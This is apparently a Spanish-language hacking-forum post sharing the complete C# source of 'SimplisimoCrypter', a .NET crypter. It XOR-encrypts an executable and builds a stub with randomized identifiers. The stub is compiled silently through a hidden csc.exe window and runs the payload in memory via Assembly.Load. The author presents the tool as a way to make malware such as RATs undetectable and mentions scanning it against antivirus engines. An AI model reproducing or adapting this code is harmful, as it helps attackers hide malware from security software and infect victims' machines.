he hecho un pequeño crypter en .NET usando la archifamosa técnica compartida por por ard93 aquí. El archivo os lo dejo en archivos adjuntos, la contraseña es indetectables.net. Por último, un scan de una bola (no tengo ningún RAT en .NET a mano).
[Enlace externo eliminado para invitados]
P.D: aquí os dejo el source por si os interesa.
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Windows.Forms;
namespace Simplisimo
{
class Program
{
static Random random = new Random();
[STAThread]
static void Main(string[] args)
{
OpenFileDialog FileDlg = new OpenFileDialog();
FileDlg.Filter = "(*.exe)|*.exe";
FileDlg.Title = "SimplisimoCrypter by Blau [Indetectables.net]";
FileDlg.Multiselect = false;
if (FileDlg.ShowDialog() == DialogResult.OK)
{
string InputFile = FileDlg.FileName;
if (!File.Exists(InputFile))
{
MessageBox.Show("File does not exists.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
byte[] FileBuffer = File.ReadAllBytes(InputFile);
byte[] key = new byte[5];
random.NextBytes(key);
x(ref FileBuffer, key);
string CompilePath = Directory.GetParent(Environment.GetFolderPath(Environment.SpecialFolder.System)) + "\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe";
string BufferVar = RandomString(20);
string KeyVar = RandomString(20);
string CountVar = RandomString(20);
string AssemblyVar = RandomString(20);
string EntryPointVar = RandomString(20);
string SourcePath = RandomString(20) + ".cs";
string OutputPath = RandomString(20) + ".exe";
string Source = "class " + RandomString(20) + "{static void Main(string[] args) {";
Source += "byte[] " + BufferVar + " = {" + ByteArrayToStringRepr(FileBuffer, ", ") + "};";
Source += "byte[] " + KeyVar + " = { " + ByteArrayToStringRepr(key, ", ") + "};";
Source += "for (int " + CountVar + " = 0; " + CountVar + " < " + BufferVar + ".Length; " + CountVar + "++) " + BufferVar + "[" + CountVar + "] = (byte)(" + BufferVar + "[" + CountVar + "] ^ " + KeyVar + "[" + CountVar + " % " + KeyVar + ".Length]);";
Source += "System.Reflection.Assembly " + AssemblyVar + " = System.Reflection.Assembly.Load(" + BufferVar + ");System.Reflection.MethodInfo " + EntryPointVar + "=" + AssemblyVar + ".EntryPoint;" + EntryPointVar + ".Invoke(null,new object[]{new string[]{" + EntryPointVar + ".GetParameters().ToString()}});";
Source += "}}";
File.WriteAllText(SourcePath, Source);
ProcessStartInfo psi = new ProcessStartInfo();
psi.FileName = CompilePath;
psi.UseShellExecute = true;
psi.Arguments = "/t:winexe -out:\"" + OutputPath + "\" \"" + SourcePath + "\"";
psi.WindowStyle = ProcessWindowStyle.Hidden;
Process.Start(psi).WaitForExit();
if (File.Exists(SourcePath)) File.Delete(SourcePath);
if(File.Exists(OutputPath))
{
MessageBox.Show("File compile name: " + OutputPath, "Success", MessageBoxButtons.OK, MessageBoxIcon.Information);
} else
{
MessageBox.Show("Error compiling.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
return;
}
}
private static void x(ref byte[] input, byte[] key)
{
for (int i = 0; i < input.Length; i++) input[i] = (byte)(input[i] ^ key[i % key.Length]);
}
public static string RandomString(int size)
{
StringBuilder builder = new StringBuilder();
char ch;
for (int i = 0; i < size; i++)
{
ch = Convert.ToChar(Convert.ToInt32(Math.Floor(26 * random.NextDouble() + 65)));
builder.Append(ch);
}
return builder.ToString();
}
public static string ByteArrayToStringRepr(byte[] Buffer, string Separator)
{
StringBuilder Result = new StringBuilder();
int LineCount = 0;
for(int i = 0; i < Buffer.Length; i++)
{
Result.Append(Buffer[i]);
if (i != Buffer.Length-1) Result.Append(Separator);
if (LineCount == 50) {
Result.AppendLine();
LineCount = 0;
}
}
return Result.ToString();
}
}
}
